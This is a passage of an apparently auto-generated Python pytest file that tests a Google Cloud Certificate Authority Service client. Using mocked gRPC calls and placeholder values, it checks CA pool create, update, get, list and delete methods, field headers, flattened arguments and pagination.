mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
@pytest.mark.asyncio
async def test_update_certificate_authority_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_certificate_authority(
service.UpdateCertificateAuthorityRequest(),
certificate_authority=resources.CertificateAuthority(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.parametrize("request_type", [service.CreateCaPoolRequest, dict,])
def test_create_ca_pool(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.create_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateCaPoolRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_create_ca_pool_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call:
client.create_ca_pool()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateCaPoolRequest()
@pytest.mark.asyncio
async def test_create_ca_pool_async(
transport: str = "grpc_asyncio", request_type=service.CreateCaPoolRequest
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.create_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateCaPoolRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_create_ca_pool_async_from_dict():
await test_create_ca_pool_async(request_type=dict)
def test_create_ca_pool_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateCaPoolRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.create_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_ca_pool_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateCaPoolRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.create_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_ca_pool_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_ca_pool(
parent="parent_value",
ca_pool=resources.CaPool(name="name_value"),
ca_pool_id="ca_pool_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].ca_pool
mock_val = resources.CaPool(name="name_value")
assert arg == mock_val
arg = args[0].ca_pool_id
mock_val = "ca_pool_id_value"
assert arg == mock_val
def test_create_ca_pool_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_ca_pool(
service.CreateCaPoolRequest(),
parent="parent_value",
ca_pool=resources.CaPool(name="name_value"),
ca_pool_id="ca_pool_id_value",
)
@pytest.mark.asyncio
async def test_create_ca_pool_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_ca_pool(
parent="parent_value",
ca_pool=resources.CaPool(name="name_value"),
ca_pool_id="ca_pool_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].ca_pool
mock_val = resources.CaPool(name="name_value")
assert arg == mock_val
arg = args[0].ca_pool_id
mock_val = "ca_pool_id_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_create_ca_pool_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_ca_pool(
service.CreateCaPoolRequest(),
parent="parent_value",
ca_pool=resources.CaPool(name="name_value"),
ca_pool_id="ca_pool_id_value",
)
@pytest.mark.parametrize("request_type", [service.UpdateCaPoolRequest, dict,])
def test_update_ca_pool(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.update_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCaPoolRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_update_ca_pool_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call:
client.update_ca_pool()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCaPoolRequest()
@pytest.mark.asyncio
async def test_update_ca_pool_async(
transport: str = "grpc_asyncio", request_type=service.UpdateCaPoolRequest
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.update_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCaPoolRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_update_ca_pool_async_from_dict():
await test_update_ca_pool_async(request_type=dict)
def test_update_ca_pool_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateCaPoolRequest()
request.ca_pool.name = "ca_pool.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.update_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "ca_pool.name=ca_pool.name/value",) in kw[
"metadata"
]
@pytest.mark.asyncio
async def test_update_ca_pool_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateCaPoolRequest()
request.ca_pool.name = "ca_pool.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.update_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "ca_pool.name=ca_pool.name/value",) in kw[
"metadata"
]
def test_update_ca_pool_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_ca_pool(
ca_pool=resources.CaPool(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].ca_pool
mock_val = resources.CaPool(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
def test_update_ca_pool_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_ca_pool(
service.UpdateCaPoolRequest(),
ca_pool=resources.CaPool(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_ca_pool_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_ca_pool(
ca_pool=resources.CaPool(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].ca_pool
mock_val = resources.CaPool(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
@pytest.mark.asyncio
async def test_update_ca_pool_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_ca_pool(
service.UpdateCaPoolRequest(),
ca_pool=resources.CaPool(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.parametrize("request_type", [service.GetCaPoolRequest, dict,])
def test_get_ca_pool(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CaPool(
name="name_value", tier=resources.CaPool.Tier.ENTERPRISE,
)
response = client.get_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCaPoolRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CaPool)
assert response.name == "name_value"
assert response.tier == resources.CaPool.Tier.ENTERPRISE
def test_get_ca_pool_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call:
client.get_ca_pool()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCaPoolRequest()
@pytest.mark.asyncio
async def test_get_ca_pool_async(
transport: str = "grpc_asyncio", request_type=service.GetCaPoolRequest
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CaPool(name="name_value", tier=resources.CaPool.Tier.ENTERPRISE,)
)
response = await client.get_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCaPoolRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CaPool)
assert response.name == "name_value"
assert response.tier == resources.CaPool.Tier.ENTERPRISE
@pytest.mark.asyncio
async def test_get_ca_pool_async_from_dict():
await test_get_ca_pool_async(request_type=dict)
def test_get_ca_pool_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetCaPoolRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call:
call.return_value = resources.CaPool()
client.get_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_ca_pool_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetCaPoolRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.CaPool())
await client.get_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_ca_pool_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CaPool()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_ca_pool(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_ca_pool_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_ca_pool(
service.GetCaPoolRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_ca_pool_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CaPool()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.CaPool())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_ca_pool(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_ca_pool_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_ca_pool(
service.GetCaPoolRequest(), name="name_value",
)
@pytest.mark.parametrize("request_type", [service.ListCaPoolsRequest, dict,])
def test_list_ca_pools(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCaPoolsResponse(
next_page_token="next_page_token_value", unreachable=["unreachable_value"],
)
response = client.list_ca_pools(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCaPoolsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCaPoolsPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
def test_list_ca_pools_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call:
client.list_ca_pools()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCaPoolsRequest()
@pytest.mark.asyncio
async def test_list_ca_pools_async(
transport: str = "grpc_asyncio", request_type=service.ListCaPoolsRequest
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCaPoolsResponse(
next_page_token="next_page_token_value",
unreachable=["unreachable_value"],
)
)
response = await client.list_ca_pools(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCaPoolsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCaPoolsAsyncPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
@pytest.mark.asyncio
async def test_list_ca_pools_async_from_dict():
await test_list_ca_pools_async(request_type=dict)
def test_list_ca_pools_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListCaPoolsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call:
call.return_value = service.ListCaPoolsResponse()
client.list_ca_pools(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_ca_pools_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListCaPoolsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCaPoolsResponse()
)
await client.list_ca_pools(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_ca_pools_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCaPoolsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_ca_pools(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_ca_pools_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_ca_pools(
service.ListCaPoolsRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_ca_pools_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCaPoolsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCaPoolsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_ca_pools(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_ca_pools_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_ca_pools(
service.ListCaPoolsRequest(), parent="parent_value",
)
def test_list_ca_pools_pager(transport_name: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCaPoolsResponse(
ca_pools=[resources.CaPool(), resources.CaPool(), resources.CaPool(),],
next_page_token="abc",
),
service.ListCaPoolsResponse(ca_pools=[], next_page_token="def",),
service.ListCaPoolsResponse(
ca_pools=[resources.CaPool(),], next_page_token="ghi",
),
service.ListCaPoolsResponse(
ca_pools=[resources.CaPool(), resources.CaPool(),],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_ca_pools(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.CaPool) for i in results)
def test_list_ca_pools_pages(transport_name: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_ca_pools), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCaPoolsResponse(
ca_pools=[resources.CaPool(), resources.CaPool(), resources.CaPool(),],
next_page_token="abc",
),
service.ListCaPoolsResponse(ca_pools=[], next_page_token="def",),
service.ListCaPoolsResponse(
ca_pools=[resources.CaPool(),], next_page_token="ghi",
),
service.ListCaPoolsResponse(
ca_pools=[resources.CaPool(), resources.CaPool(),],
),
RuntimeError,
)
pages = list(client.list_ca_pools(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_ca_pools_async_pager():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_ca_pools), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCaPoolsResponse(
ca_pools=[resources.CaPool(), resources.CaPool(), resources.CaPool(),],
next_page_token="abc",
),
service.ListCaPoolsResponse(ca_pools=[], next_page_token="def",),
service.ListCaPoolsResponse(
ca_pools=[resources.CaPool(),], next_page_token="ghi",
),
service.ListCaPoolsResponse(
ca_pools=[resources.CaPool(), resources.CaPool(),],
),
RuntimeError,
)
async_pager = await client.list_ca_pools(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.CaPool) for i in responses)
@pytest.mark.asyncio
async def test_list_ca_pools_async_pages():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_ca_pools), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCaPoolsResponse(
ca_pools=[resources.CaPool(), resources.CaPool(), resources.CaPool(),],
next_page_token="abc",
),
service.ListCaPoolsResponse(ca_pools=[], next_page_token="def",),
service.ListCaPoolsResponse(
ca_pools=[resources.CaPool(),], next_page_token="ghi",
),
service.ListCaPoolsResponse(
ca_pools=[resources.CaPool(), resources.CaPool(),],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_ca_pools(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize("request_type", [service.DeleteCaPoolRequest, dict,])
def test_delete_ca_pool(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.delete_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteCaPoolRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_delete_ca_pool_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call:
client.delete_ca_pool()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteCaPoolRequest()
@pytest.mark.asyncio
async def test_delete_ca_pool_async(
transport: str = "grpc_asyncio", request_type=service.DeleteCaPoolRequest
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
